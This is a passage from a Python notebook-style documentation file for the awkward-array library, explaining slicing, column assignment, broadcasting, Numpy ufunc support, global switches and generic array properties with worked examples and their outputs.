``ChunkedArray``: no counterpart (though a reader may deal with non-contiguous data).\n# * ``AppendableArray``: no counterpart; Arrow is strictly immutable.\n# * ``VirtualArray``: no counterpart (though a reader may lazily load data).\n\n# %%markdown\n# # High-level operations: common to all classes\n#\n# There are three levels of abstraction in awkward-array: high-level operations for data analysis, low-level operations for engineering the structure of the data, and implementation details. Implementation details are handled in the usual way for Python: if exposed at all, class, method, and function names begin with underscores and are not guaranteed to be stable from one release to the next. There is more than one implementation of awkward: the original awkward library, which depends only on Numpy, awkward-numba, which uses Numba to just-in-time compile its operations, and awkward-cpp, which has precompiled operations. Each has its own implementation details.\n#\n# The distinction between high-level operations and low-level operations is more subtle and developed as awkward-array was put to use. Data analysts care about the logical structure of the data\u2014whether it is jagged, what the column names are, whether certain values could be ``None``, etc. Data engineers (or an analyst in \"engineering mode\") care about contiguousness, how much data are in memory at a given time, whether strings are dictionary-encoded, whether arrays have unreachable elements, etc. The dividing line is between high-level types and low-level array layout (both of which are defined in their own sections below). The following awkward classes have the same high-level type as their content:\n#\n# * ``IndexedArray`` because indirection to type ``T`` has type ``T``,\n# * ``SparseArray`` because a lookup of elements with type ``T`` has type ``T``,\n# * ``ChunkedArray`` because the chunks, which must have the same type as each other, collectively have that type when logically concatenated,\n# * ``AppendableArray`` because it's a special case of ``ChunkedArray``,\n# * ``VirtualArray`` because it produces an array of a given type on demand,\n# * ``UnionArray`` has the same type as its ``contents`` *only if* all ``contents`` have the same type as each other.\n#\n# All other classes, such as ``JaggedArray``, have a logically distinct type from their contents.\n#\n# This section describes a suite of operations that are common to all awkward classes. For some high-level types, the operation is meaningless or results in an error, such as the jagged ``counts`` of an array that is not jagged at any level, or the ``columns`` of an array that contains no tables, but the operation has a well-defined action on every array class. To use these operations, you do need to understand the high-level type of your data, but not whether it is wrapped in an ``IndexedArray``, a ``SparseArray``, a ``ChunkedArray``, an ``AppendableArray``, or a ``VirtualArray``.\n\n# %%markdown\n# ## Slicing with square brackets\n#\n# The primary operation for all classes is slicing with square brackets. This is the operation defined by Python's ``__getitem__`` method. It is so basic that high-level types are defined in terms of what they return when a scalar argument is passed in square brakets.\n#\n# Just as Numpy's slicing reproduces but generalizes Python sequence behavior, awkward-array reproduces (most of) `Numpy's slicing behavior <https://docs.scipy.org/doc/numpy/reference/arrays.indexing.html>`__ and generalizes it in certain cases. An integer argument, a single slice argument, a single Numpy array-like of booleans or integers, and a tuple of any of the above is handled just like Numpy. Awkward-array does not handle ellipsis (because the depth of an awkward array can be different on different branches of a ``Table`` or ``UnionArray``) or ``None`` (because it's not always possible to insert a ``newaxis``). Numpy `record arrays <https://docs.scipy.org/doc/numpy/user/basics.rec.html>`__ accept a string or sequence of strings as a column argument if it is the only argument, not in a tuple with other types. Awkward-array accepts a string or sequence of strings if it contains a ``Table`` at some level.\n#\n# An integer argument selects one element from the top-level array (starting at zero), changing the type by decreasing rank or jaggedness by one level.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5], [6.6, 7.7, 8.8], [9.9]])\na[0]\n# array([1.1, 2.2, 3.3])\n\n# %%markdown\n# Negative indexes count backward from the last element,\n\n# %%\na[-1]\n# array([9.9])\n\n# %%markdown\n# and the index (after translating negative indexes) must be at least zero and less than the length of the top-level array.\n\n# %%\ntry:\n    a[-6]\nexcept Exception as err:\n    print(type(err), str(err))\n# <class 'IndexError'> index -6 is out of bounds for axis 0 with size 5\n\n# %%markdown\n# A slice selects a range of elements from the top-level array, maintaining the array's type. The first index is the inclusive starting point (starting at zero) and the second index is the exclusive endpoint.\n\n# %%\na[2:4]\n# <JaggedArray [[4.4 5.5] [6.6 7.7 8.8]] at 0x7811883f8390>\n\n# %%markdown\n# Python's slice syntax (above) or literal ``slice`` objects may be used.\n\n# %%\na[slice(2, 4)]\n# <JaggedArray [[4.4 5.5] [6.6 7.7 8.8]] at 0x7811883f8630>\n\n# %%markdown\n# Negative indexes count backward from the last element and endpoints may be omitted.\n\n# %%\na[-2:]\n# <JaggedArray [[6.6 7.7 8.8] [9.9]] at 0x7811883f8978>\n\n# %%markdown\n# Start and endpoints beyond the array are not errors: they are truncated.\n\n# %%\na[2:100]\n# <JaggedArray [[4.4 5.5] [6.6 7.7 8.8] [9.9]] at 0x7811883f8be0>\n\n# %%markdown\n# A skip value (third index of the slice) sets the stride for indexing, allowing you to skip elements, and this skip can be negative. It cannot, however, be zero.\n\n# %%\na[::-1]\n# <JaggedArray [[9.9] [6.6 7.7 8.8] [4.4 5.5] [] [1.1 2.2 3.3]] at 0x7811883f8ef0>\n\n# %%markdown\n# A Numpy array-like of booleans with the same length as the array may be used to filter elements. Numpy has a specialized `numpy.compress <https://docs.scipy.org/doc/numpy/reference/generated/numpy.compress.html>`__ function for this operation, but the only way to get it in awkward-array is through square brackets.\n\n# %%\na[[True, True, False, True, False]]\n# <JaggedArray [[1.1 2.2 3.3] [] [6.6 7.7 8.8]] at 0x781188407278>\n\n# %%markdown\n# A Numpy array-like of integers with the same length as the array may be used to select a collection of indexes. Numpy has a specialized `numpy.take <https://docs.scipy.org/doc/numpy/reference/generated/numpy.take.html>`__ function for this operation, but the only way to get it in awkward-array is through square brakets. Negative indexes and repeated elements are handled in the same way as Numpy.\n\n# %%\na[[-1, 0, 1, 2, 2, 2]]\n# <JaggedArray [[9.9] [1.1 2.2 3.3] [] [4.4 5.5] [4.4 5.5] [4.4 5.5]] at 0x781188407550>\n\n# %%markdown\n# A tuple of length ``N`` applies selections to the first ``N`` levels of rank or jaggedness. Our example array has only two levels, so we can apply two kinds of indexes.\n\n# %%\na[2:, 0]\n# array([4.4, 6.6, 9.9])\n\n# %%\na[[True, False, True, True, False], ::-1]\n# <JaggedArray [[3.3 2.2 1.1] [5.5 4.4] [8.8 7.7 6.6]] at 0x7811884079e8>\n\n# %%\na[[0, 3, 0], 1::]\n# <JaggedArray [[2.2 3.3] [7.7 8.8] [2.2 3.3]] at 0x781188407cc0>\n\n# %%markdown\n# As described in Numpy's `advanced indexing <https://docs.scipy.org/doc/numpy/reference/arrays.indexing.html#advanced-indexing>`__, advanced indexes (boolean or integer arrays) are broadcast and iterated as one:\n\n# %%\na[[0, 3], [True, False, True]]\n# array([1.1, 8.8])\n\n# %%markdown\n# Awkward array has two extensions beyond Numpy, both of which affect only jagged data. If an array is jagged and a jagged array of booleans with the same structure (same length at all levels) is passed in square brackets, only inner arrays would be filtered.\n\n# %%\na    = awkward.fromiter([[  1.1,   2.2,  3.3], [], [ 4.4,  5.5], [ 6.6,  7.7,   8.8], [  9.9]])\nmask = awkward.fromiter([[False, False, True], [], [True, True], [True, True, False], [False]])\na[mask]\n# <JaggedArray [[3.3] [] [4.4 5.5] [6.6 7.7] []] at 0x7811883f8f60>\n\n# %%markdown\n# Similarly, if an array is jagged and a jagged array of integers with the same structure is passed in square brackets, only inner arrays would be filtered/duplicated/rearranged.\n\n# %%\na     = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5], [6.6, 7.7, 8.8], [9.9]])\nindex = awkward.fromiter([[2, 2, 2, 2], [], [1, 0], [2, 1, 0], []])\na[index]\n# <JaggedArray [[3.3 3.3 3.3 3.3] [] [5.5 4.4] [8.8 7.7 6.6] []] at 0x78118847acf8>\n\n# %%markdown\n# Although all of the above use a ``JaggedArray`` as an example, the principles are general: you should get analogous results with jagged tables, masked jagged arrays, etc. Non-jagged arrays only support Numpy-like slicing.\n#\n# If an array contains a ``Table``, it can be selected with a string or a sequence of strings, just like Numpy `record arrays <https://docs.scipy.org/doc/numpy/user/basics.rec.html>`__.\n\n# %%\na = awkward.fromiter([{\"x\": 1, \"y\": 1.1, \"z\": \"one\"}, {\"x\": 2, \"y\": 2.2, \"z\": \"two\"}, {\"x\": 3, \"y\": 3.3, \"z\": \"three\"}])\na\n# <Table [<Row 0> <Row 1> <Row 2>] at 0x7811883930f0>\n\n# %%\na[\"x\"]\n# array([1, 2, 3])\n\n# %%\na[[\"z\", \"y\"]].tolist()\n# [{'z': 'one', 'y': 1.1}, {'z': 'two', 'y': 2.2}, {'z': 'three', 'y': 3.3}]\n\n# %%markdown\n# Like Numpy, integer indexes and string indexes commute if the integer index corresponds to a structure outside the ``Table`` (this condition is always met for Numpy record arrays).\n\n# %%\na[\"y\"][1]\n# 2.2\n\n# %%\na[1][\"y\"]\n# 2.2\n\n# %%\na = awkward.fromiter([[{\"x\": 1, \"y\": 1.1, \"z\": \"one\"}, {\"x\": 2, \"y\": 2.2, \"z\": \"two\"}], [], [{\"x\": 3, \"y\": 3.3, \"z\": \"three\"}]])\na\n# <JaggedArray [[<Row 0> <Row 1>] [] [<Row 2>]] at 0x781188407358>\n\n# %%\na[\"y\"][0][1]\n# 2.2\n\n# %%\na[0][\"y\"][1]\n# 2.2\n\n# %%\na[0][1][\"y\"]\n# 2.2\n\n# %%markdown\n# but not\n\n# %%\na = awkward.fromiter([{\"x\": 1, \"y\": [1.1]}, {\"x\": 2, \"y\": [2.1, 2.2]}, {\"x\": 3, \"y\": [3.1, 3.2, 3.3]}])\na\n# <Table [<Row 0> <Row 1> <Row 2>] at 0x7811883934a8>\n\n# %%\na[\"y\"][2][1]\n# 3.2\n\n# %%\na[2][\"y\"][1]\n# 3.2\n\n# %%\ntry:\n    a[2][1][\"y\"]\nexcept Exception as err:\n    print(type(err), str(err))\n# <class 'AttributeError'> no column named '_util_isstringslice'\n\n# %%markdown\nbecause\n\n# %%\na[2].tolist()\n# {'x': 3, 'y': [3.1, 3.2, 3.3]}\n\n# %%markdown\n# cannot take a ``1`` argument before ``\"y\"``.\n#\n# Just as integer indexes can be alternated with string/sequence of string indexes, so can slices, arrays, and tuples of slices and arrays.\n\n# %%\na[\"y\"][:, 0]\n# array([1.1, 2.1, 3.1])\n\n# %%markdown\n# Generally speaking, string and sequence of string indexes are *column* indexes, while all other types are *row* indexes.\n\n# %%markdown\n# ## Assigning with square brackets\n#\n# As discussed above, awkward arrays are generally immutable with few exceptions. Row assignment is only possible via appending to an ``AppendableArray``. Column assignment, reassignment, and deletion are in general allowed. The syntax for assigning and reassigning columns is through assignment to a square bracket expression. This operation is defined by Python's ``__setitem__`` method. The syntax for deleting columns is through the ``del`` operators on a square bracket expression. This operation is defined by Python's ``__delitem__`` method.\n#\n# Since only columns can be changed, only strings and sequences of strings are allowed as indexes.\n\n# %%\na = awkward.fromiter([[{\"x\": 1, \"y\": 1.1, \"z\": \"one\"}, {\"x\": 2, \"y\": 2.2, \"z\": \"two\"}], [], [{\"x\": 3, \"y\": 3.3, \"z\": \"three\"}]])\na\n# <JaggedArray [[<Row 0> <Row 1>] [] [<Row 2>]] at 0x7811883905c0>\n\n# %%\na[\"a\"] = awkward.fromiter([[100, 200], [], [300]])\na.tolist()\n# [[{'x': 1, 'y': 1.1, 'z': 'one', 'a': 100},\n#   {'x': 2, 'y': 2.2, 'z': 'two', 'a': 200}],\n#  [],\n#  [{'x': 3, 'y': 3.3, 'z': 'three', 'a': 300}]]\n\n# %%\ndel a[\"a\"]\na.tolist()\n# [[{'x': 1, 'y': 1.1, 'z': 'one'}, {'x': 2, 'y': 2.2, 'z': 'two'}],\n#  [],\n#  [{'x': 3, 'y': 3.3, 'z': 'three'}]]\n\n# %%\na[[\"a\", \"b\"]] = awkward.fromiter([[{\"first\": 100, \"second\": 111}, {\"first\": 200, \"second\": 222}], [], [{\"first\": 300, \"second\": 333}]])\na.tolist()\n# [[{'x': 1, 'y': 1.1, 'z': 'one', 'a': 100, 'b': 111},\n#   {'x': 2, 'y': 2.2, 'z': 'two', 'a': 200, 'b': 222}],\n#  [],\n#  [{'x': 3, 'y': 3.3, 'z': 'three', 'a': 300, 'b': 333}]]\n\n# %%markdown\n# Note that the names of the columns on the right-hand side of the assignment are irrelevant; we're setting two columns, there needs to be two columns on the right. Columns can be anonymous:\n\n# %%\na[[\"a\", \"b\"]] = awkward.Table(awkward.fromiter([[100, 200], [], [300]]), awkward.fromiter([[111, 222], [], [333]]))\na.tolist()\n# [[{'x': 1, 'y': 1.1, 'z': 'one', 'a': 100, 'b': 111},\n#   {'x': 2, 'y': 2.2, 'z': 'two', 'a': 200, 'b': 222}],\n#  [],\n#  [{'x': 3, 'y': 3.3, 'z': 'three', 'a': 300, 'b': 333}]]\n\n# %%markdown\n# Another thing to note is that the structure (lengths at all levels of jaggedness) must match if the depth is the same.\n\n# %%\ntry:\n    a[\"c\"] = awkward.fromiter([[100, 200, 300], [400], [500, 600]])\nexcept Exception as err:\n    print(type(err), str(err))\n# <class 'ValueError'> cannot broadcast JaggedArray to match JaggedArray with a different counts\n\n# %%markdown\n# But if the right-hand side is shallower and can be *broadcasted* to the left-hand side, it will be. (See below for broadcasting.)\n\n# %%\na[\"c\"] = awkward.fromiter([100, 200, 300])\na.tolist()\n# [[{'x': 1, 'y': 1.1, 'z': 'one', 'a': 100, 'b': 111, 'c': 100},\n#   {'x': 2, 'y': 2.2, 'z': 'two', 'a': 200, 'b': 222, 'c': 100}],\n#  [],\n#  [{'x': 3, 'y': 3.3, 'z': 'three', 'a': 300, 'b': 333, 'c': 300}]]\n\n# %%markdown\n# ## Numpy-like broadcasting\n#\n# In assignments and mathematical operations between higher-rank and lower-rank arrays, Numpy repeats values in the lower-rank array to \"fit,\" if possible, before applying the operation. This is called `boradcasting <https://docs.scipy.org/doc/numpy/user/basics.broadcasting.html>`__. For example,\n\n# %%\nnumpy.array([[1.1, 2.2, 3.3], [4.4, 5.5, 6.6]]) + 100\n# array([[101.1, 102.2, 103.3],\n#        [104.4, 105.5, 106.6]])\n\n# %%markdown\nSingletons are also expanded to fit.\n\n# %%\nnumpy.array([[1.1, 2.2, 3.3], [4.4, 5.5, 6.6]]) + numpy.array([[100], [200]])\n# array([[101.1, 102.2, 103.3],\n#        [204.4, 205.5, 206.6]])\n\n# %%markdown\n# Awkward arrays have the same feature, but this has particularly useful effects for jagged arrays. In an operation involving two arrays of different depths of jaggedness, the shallower one expands to fit the deeper one.\n\n# %%\nawkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]]) + awkward.fromiter([100, 200, 300])\n# <JaggedArray [[101.1 102.2 103.3] [] [304.4 305.5]] at 0x781188390940>\n\n# %%markdown\n# Note that the ``100`` was broadcasted to all three of the elements of the first inner array, ``200`` was broadcasted to no elements in the second inner array (because the second inner array is empty), and ``300`` was broadcasted to all two of the elements of the third inner array.\n#\n# This is the columnar equivalent to accessing a variable defined outside of an inner loop.\n\n# %%\njagged = [[1.1, 2.2, 3.3], [], [4.4, 5.5]]\nflat = [100, 200, 300]\nfor i in range(3):\n    for j in range(len(jagged[i])):\n        # j varies in this loop, but i is constant\n        print(i, j, jagged[i][j] + flat[i])\n# 0 0 101.1\n# 0 1 102.2\n# 0 2 103.3\n# 2 0 304.4\n# 2 1 305.5\n\n# %%markdown\n# Many translations of non-columnar code to columnar code has this form. It's often surprising to users that they don't have to do anything special to get this feature (e.g. ``cross``).\n\n# %%markdown\n# ## Support for Numpy universal functions (ufuncs)\n#\n# Numpy's key feature of array-at-a-time programming is mainly provided by \"universal functions\" or \"ufuncs.\" This is a special class of function that applies a scalars \u2192 scalar kernel independently to aligned elements of internal arrays to return a same-shape output array. That is, for a scalars \u2192 scalar function ``f(x1, ..., xN) \u2192 y``, the ufunc takes ``N`` input arrays of the same ``shape`` and returns one output array with that ``shape`` in which ``output[i] = f(input1[i], ..., inputN[i])`` for all ``i``.\n\n# %%\n# N = 1\nnumpy.sqrt(numpy.array([1, 4, 9, 16, 25]))\n# array([1., 2., 3., 4., 5.])\n\n# %%\n# N = 2\nnumpy.add(numpy.array([[1.1, 2.2], [3.3, 4.4]]), numpy.array([[100, 200], [300, 400]]))\n# array([[101.1, 202.2],\n#        [303.3, 404.4]])\n\n# %%markdown\n# Keep in mind that a ufunc is not simply a function that has this property, but a specially named class, deriving from a type in the Numpy library.\n\n# %%\nnumpy.sqrt, numpy.add\n# (<ufunc 'sqrt'>, <ufunc 'add'>)\n\n# %%\nisinstance(numpy.sqrt, numpy.ufunc), isinstance(numpy.add, numpy.ufunc)\n# (True, True)\n\n# %%markdown\n# This class of functions can be overridden, and awkward-array overrides them to recognize and properly handle awkward arrays.\n\n# %%\nnumpy.sqrt(awkward.fromiter([[1, 4, 9], [], [16, 25]]))\n# <JaggedArray [[1.0 2.0 3.0] [] [4.0 5.0]] at 0x7811883f88d0>\n\n# %%\nnumpy.add(awkward.fromiter([[[1.1], 2.2], [], [3.3, None]]), awkward.fromiter([[[100], 200], [], [None, 300]]))\n# <JaggedArray [[[101.1] 202.2] [] [None None]] at 0x7811883f8d68>\n\n# %%markdown\n# Only the primary action of the ufunc (``ufunc.__call__``) has been overridden; methods like ``ufunc.at``, ``ufunc.reduce``, and ``ufunc.reduceat`` are not supported. Also, the in-place ``out`` parameter is not supported because awkward array data cannot be changed in-place.\n#\n# For awkward arrays, the input arguments to a ufunc must all have the same structure or, if shallower, be broadcastable to the deepest structure. (See above for \"broadcasting.\") The scalar function is applied to elements at the same positions within this structure from different input arrays. The output array has this structure, populated by return values of the scalar function.\n#\n# * Rectangular arrays must have the same shape, just as in Numpy. A scalar can be broadcasted (expanded) to have the same shape as the arrays.\n# * Jagged arrays must have the same number of elements in all inner arrays. A rectangular array with the same outer shape (i.e. containing scalars instead of inner arrays) can be broadcasted to inner arrays with the same lengths.\n# * Tables must have the same sets of columns (though not necessarily in the same order). There is no broadcasting of missing columns.\n# * Missing values (``None`` from ``MaskedArrays``) transform to missing values in every ufunc. That is, ``None + 5`` is ``None``, ``None + None`` is ``None``, etc.\n# * Different data types (through a ``UnionArray``) must be compatible at every site where values are included in the calculation. For instance, input arrays may contain tables with different sets of columns, but all inputs at index ``i`` must have the same sets of columns as each other:\n\n# %%\nnumpy.add(awkward.fromiter([{\"x\": 1, \"y\": 1.1}, {\"y\": 1.1, \"z\": 100}]),\n          awkward.fromiter([{\"x\": 3, \"y\": 3.3}, {\"y\": 3.3, \"z\": 300}])).tolist()\n# [{'x': 4, 'y': 4.4}, {'y': 4.4, 'z': 400}]\n\n# %%markdown\n# Unary and binary operations on awkward arrays, such as ``-x``, ``x + y``, and ``x**2``, are actually Numpy ufuncs, so all of the above applies to them as well (such as broadcasting the scalar ``2`` in ``x**2``).\n#\n# Remember that only ufuncs have been overridden by awkward-array: other Numpy functions such as ``numpy.concatenate`` are ignorant of awkward arrays and will attempt to convert them to Numpy first. In some cases, that may be what you want, but in many, especially any cases involving jagged arrays, it will be a major performance loss and a loss of functionality: jagged arrays turn into Numpy ``dtype=object`` arrays containing Numpy arrays, which can be a very large number of Python objects and doesn't behave as a multidimensional array.\n#\n# You can check to see if a function from Numpy is a ufunc with ``isinstance``.\n\n# %%\nisinstance(numpy.concatenate, numpy.ufunc)\n# False\n\n# %%markdown\n# and you can prevent accidental conversions to Numpy by setting ``allow_tonumpy`` to ``False``, either on one array or globally on a whole class of awkward arrays. (See \"global switches\" below.)\n\n# %%\nx = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]])\ny = awkward.fromiter([[6.6, 7.7, 8.8], [9.9]])\nnumpy.concatenate([x, y])\n# array([array([1.1, 2.2, 3.3]), array([], dtype=float64),\n#        array([4.4, 5.5]), array([6.6, 7.7, 8.8]), array([9.9])],\n#       dtype=object)\n\n# %%\nx.allow_tonumpy = False\ntry:\n    numpy.concatenate([x, y])\nexcept Exception as err:\n    print(type(err), str(err))\n# <class 'RuntimeError'> awkward.array.base.AwkwardArray.allow_tonumpy is False; refusing to convert to Numpy\n\n# %%markdown\n# ## Global switches\n#\n# The ``AwkwardArray`` abstract base class has the following switches to turn off sometmes-undesirable behavior. These switches could be set on the ``AwkwardArray`` class itself, affecting all awkward arrays, or they could be set on a particular class like ``JaggedArray`` to only affect ``JaggedArray`` instances, or they could be set on a particular instance, to affect only that instance.\n#\n# * ``allow_tonumpy`` (default is ``True``); if ``False``, forbid any action that would convert an awkward array into a Numpy array (with a likely loss of performance and functionality).\n# * ``allow_iter`` (default is ``True``); if ``False``, forbid any action that would iterate over an awkward array in Python (except printing a few elements as part of its string representation).\n# * ``check_prop_valid`` (default is ``True``); if ``False``, skip the single-property validity checks in array constructors and when setting properties.\n# * ``check_whole_valid`` (default is ``True``); if ``False``, skip the whole-array validity checks that are typically called before methods that need them.\n\n# %%\nawkward.AwkwardArray.check_prop_valid\n# True\n\n# %%\nawkward.JaggedArray.check_whole_valid\n# True\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]])\nnumpy.array(a)\n# array([array([1.1, 2.2, 3.3]), array([], dtype=float64),\n#        array([4.4, 5.5])], dtype=object)\n\n# %%\na.allow_tonumpy = False\ntry:\n    numpy.array(a)\nexcept Exception as err:\n    print(type(err), str(err))\n# <class 'RuntimeError'> awkward.array.base.AwkwardArray.allow_tonumpy is False; refusing to convert to Numpy\n\n# %%\nlist(a)\n# [array([1.1, 2.2, 3.3]), array([], dtype=float64), array([4.4, 5.5])]\n\n# %%\na.allow_iter = False\ntry:\n    list(a)\nexcept Exception as err:\n    print(type(err), str(err))\n# <class 'RuntimeError'> awkward.array.base.AwkwardArray.allow_iter is False; refusing to iterate\n\n# %%\na\n# <JaggedArray [[1.1 2.2 3.3] [] [4.4 5.5]] at 0x78118847ae10>\n\n# %%markdown\n# ## Generic properties and methods\n#\n# All awkward arrays have the following properties and methods.\n\n# %%markdown\n# * ``type``: the high-level type of the array. (See below for a detailed description of high-level types.)\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]])\nb = awkward.fromiter([[1.1, 2.2, None, 3.3, None],\n                      [4.4, [5.5]],\n                      [{\"x\": 6, \"y\": {\"z\": 7}}, None, {\"x\": 8, \"y\": {\"z\": 9}}]\n                     ])\n\n# %%\na.type\n# ArrayType(3, inf, dtype('float64'))\n\n# %%\nprint(a.type)\n# [0, 3) -> [0, inf) -> float64\n\n# %%\nb.type\n# ArrayType(3, inf, OptionType(UnionType(dtype('float64'), ArrayType(inf, dtype('float64')), TableType(x=dtype('int64'), y=TableType(z=dtype('int64'))))))\n\n# %%\nprint(b.type)\n# [0, 3) -> [0, inf) -> ?((float64             |\n#                          [0, inf) -> float64 |\n#                          'x' -> int64\n#                          'y' -> 'z' -> int64 ))\n\n# %%markdown\n# * ``layout``: the low-level layout of the array. (See below for a detailed description of low-level layouts.)\n\n# %%\na.layout\n#  layout\n# [    ()] JaggedArray(starts=layout[0], stops=layout[1], content=layout[2])\n# [     0]   ndarray(shape=3, dtype=dtype('int64'))\n# [     1]   ndarray(shape=3, dtype=dtype('int64'))\n# [     2]   ndarray(shape=5, dtype=dtype('float64'))\n\n# %%\nb.layout\n#  layout\n# [           ()] JaggedArray(starts=layout[0], stops=layout[1], content=layout[2])\n# [            0]   ndarray(shape=3, dtype=dtype('int64'))\n# [            1]   ndarray(shape=3, dtype=dtype('int64'))\n# [            2]   IndexedMaskedArray(mask=layout[2, 0], content=layout[2, 1], maskedwhen=-1)\n# [         2, 0]     ndarray(shape=10, dtype=dtype('int64'))\n# [         2, 1]     UnionArray(tags=layout[2, 1, 0], index=layout[2, 1, 1], contents=[layout[2, 1, 2], layout[2, 1, 3], layout[2, 1, 4]])\n# [      2, 1, 0]       ndarray(shape=7, dtype=dtype('uint8'))\n# [      2, 1, 1]       ndarray(shape=7, dtype=dtype('int64'))\n# [      2, 1, 2]       ndarray(shape=4, dtype=dtype('float64'))\n# [      2, 1, 3]       JaggedArray(starts=layout[2, 1, 3, 0], stops=layout[2, 1, 3, 1], content=layout[2, 1, 3, 2])\n# [   2, 1, 3, 0]         ndarray(shape=1, dtype=dtype('int64'))\n# [   2, 1, 3, 1]         ndarray(shape=1, dtype=dtype('int64'))\n# [   2, 1, 3, 2]         ndarray(shape=1, dtype=dtype('float64'))\n# [      2, 1, 4]       Table(x=layout[2, 1, 4, 0], y=layout[2, 1, 4, 1])\n# [   2, 1, 4, 0]         ndarray(shape=2, dtype=dtype('int64'))\n# [   2, 1, 4, 1]         Table(z=layout[2, 1, 4, 1, 0])\n# [2, 1, 4, 1, 0]           ndarray(shape=2, dtype=dtype('int64'))\n\n# %%markdown\n# * ``dtype``: the `Numpy dtype <https://docs.scipy.org/doc/numpy/reference/arrays.dtypes.html>`__ that this array would have if cast as a Numpy array. Numpy dtypes cannot fully specify awkward arrays: use the ``type`` for an analyst-friendly description of the data type or ``layout`` for details about how the arrays are represented.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]])\na.dtype   # the closest Numpy dtype to a jagged array is dtype=object ('O')\n# dtype('O')\n\n# %%\nnumpy.array(a)\n# array([array([1.1, 2.2, 3.3]), array([], dtype=float64),\n#        array([4.4, 5.5])], dtype=object)\n\n# %%markdown\n# * ``shape``: the `Numpy shape <https://docs.scipy.org/doc/numpy/reference/generated/numpy.ndarray.shape.html>`__ that this array would have if cast as a Numpy array. This only specifies the first regular dimensions, not any jagged dimensions or regular dimensions nested within awkward structures. The Python length (``__len__``) of the array is the first element of this ``shape``.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]])\na.shape\n# (3,)\n\n# %%\nlen(a)\n# 3\n\n# %%markdown\n# The following ``JaggedArray`` has two fixed-size dimensions at the top, followed by a jagged dimension inside of that. The shape only represents the first few dimensions.\n\n# %%\na = awkward.JaggedArray.fromcounts([[3, 0], [2, 4]], [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9])\na\n# <JaggedArray [[[1.1 2.2 3.3] []] [[4.4 5.5] [6.6 7.7 8.8 9.9]]] at 0x7811883bc0b8>\n\n# %%\na.shape\n# (2, 2)\n\n# %%\nlen(a)\n# 2\n\n# %%\nprint(a.type)\n# [0, 2) -> [0, 2) -> [0, inf) -> float64\n\n# %%markdown\n# Also, a dimension can effectively be fixed-size, but represented by a ``JaggedArray``. The ``shape`` does not encompass any dimensions represented by a ``JaggedArray``.\n\n# %%\n# Same structure, but it's JaggedArrays all the way down.\nb = a.structure1d()\nb\n# <JaggedArray [[[1.1 2.2 3.3] []] [[4.4 5.5] [6.6 7.7 8.8 9.9]]] at 0x781188407240>\n\n# %%\nb.shape\n# (2,)\n\n# %%markdown\n# * ``size``: the product of ``shape``, as in Numpy.\n\n# %%\na.shape\n# (2, 2)\n\n# %%\na.size\n# 4\n\n# %%markdown\n# * ``nbytes``: the total number of bytes in all memory buffers referenced by the array, not including bytes in Python objects (which are Python-implementation dependent, not even available in PyPy). Same as the Numpy property of the same name.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]])\na.nbytes\n# 72\n\n# %%\na.offsets.nbytes + a.content.nbytes\n# 72\n\n# %%markdown\n# * ``tolist()``: converts the array into Python objects: ``lists`` for arrays, ``dicts`` for table rows, ``tuples`` for table rows with anonymous fields and a ``rowname`` of ``\"tuple\"``, ``None`` for missing data, and Python objects from ``ObjectArrays``. This is an approximate inverse of ``awkward.fromiter``.\n\n# %%\nawkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]]).tolist()\n# [[1.1, 2.2, 3.3], [], [4.4, 5.5]]\n\n# %%\nawkward.fromiter([{\"x\": 1, \"y\": 1.1}, {\"x\": 2, \"y\": 2.2}, {\"x\": 3, \"y\": 3.3}]).tolist()\n# [{'x': 1, 'y': 1.1}, {'x': 2, 'y': 2.2}, {'x': 3, 'y': 3.3}]\n\n# %%\nawkward.Table.named(\"tuple\", [1, 2, 3], [1.1, 2.2, 3.3]).tolist()\n# [(1, 1.1), (2, 2.2), (3, 3.3)]\n\n# %%\nawkward.fromiter([[1.1, 2.2, None], [], [None, 3.3]]).tolist()\n# [[1.1, 2.2, None], [], [None, 3.3]]\n\n# %%\nclass Point:\n    def __init__(self, x, y):\n        self.x, self.y = x, y\n    def __repr__(self):\n        return f\"Point({self.x}, {self.y})\"\n\na = awkward.fromiter([[Point(1, 1.1), Point(2, 2.2), Point(3, 3.3)], [], [Point(4, 4.4), Point(5, 5.5)]])\na\n# <JaggedArray [[Point(1, 1.1) Point(2, 2.2) Point(3, 3.3)] [] [Point(4, 4.4) Point(5, 5.5)]] at 0x7811883bccf8>\n\n# %%\na.tolist()\n# [[Point(1, 1.1), Point(2, 2.2), Point(3, 3.3)],\n#  [],\n#  [Point(4, 4.4), Point(5, 5.5)]]\n\n# %%markdown\n# * ``valid(exception=False, message=False)``: manually invoke the whole-array validity checks on the top-level array (not recursively). With the default options, this function returns ``True`` if valid and ``False`` if not. If ``exception=True``, it returns nothing on success and raises the appropriate exception on failure. If ``message=True``, it returns ``None`` on success and the error string on failure. (TODO: ``recursive=True``?)\n\n# %%\na = awkward.JaggedArray.fromcounts([3, 0, 2], [1.1, 2.2, 3.3, 4.4])  # content array is too short\na.valid()\n# False\n\n# %%\ntry:\n    a.valid(exception=True)\nexcept Exception as err:\n    print(type(err), str(err))\n# <class 'ValueError'> maximum offset 5 is beyond the length of the content (4)\n\n# %%\na.valid(message=True)\n# \"<class 'ValueError'>: maximum offset 5 is beyond the length of the content (4)\"\n\n# %%markdown\n# * ``astype(dtype)``: convert *nested Numpy arrays* into the given type while maintaining awkward structure.\n\n# %%\na = awkward.fromiter([[1.1, 2.2, 3.3], [], [4.4, 5.5]])\na.astype(numpy.int32)\n# <JaggedArray [[1 2 3] [] [4 5]] at 0x7811883b9898>\n\n# %%markdown\n# * ``regular()``: convert the awkward array into a Numpy array and (unlike ``numpy.array(awkward_array)``) raise an error if it cannot be faithfully represented.\n\n# %%\n# This JaggedArray happens to have equal-sized inner arrays.\na = awkward.fromiter([[1.1, 2.2, 3.3], [4.4, 5.5, 6.6], [7.7, 8.8, 9.9]])\na\n# 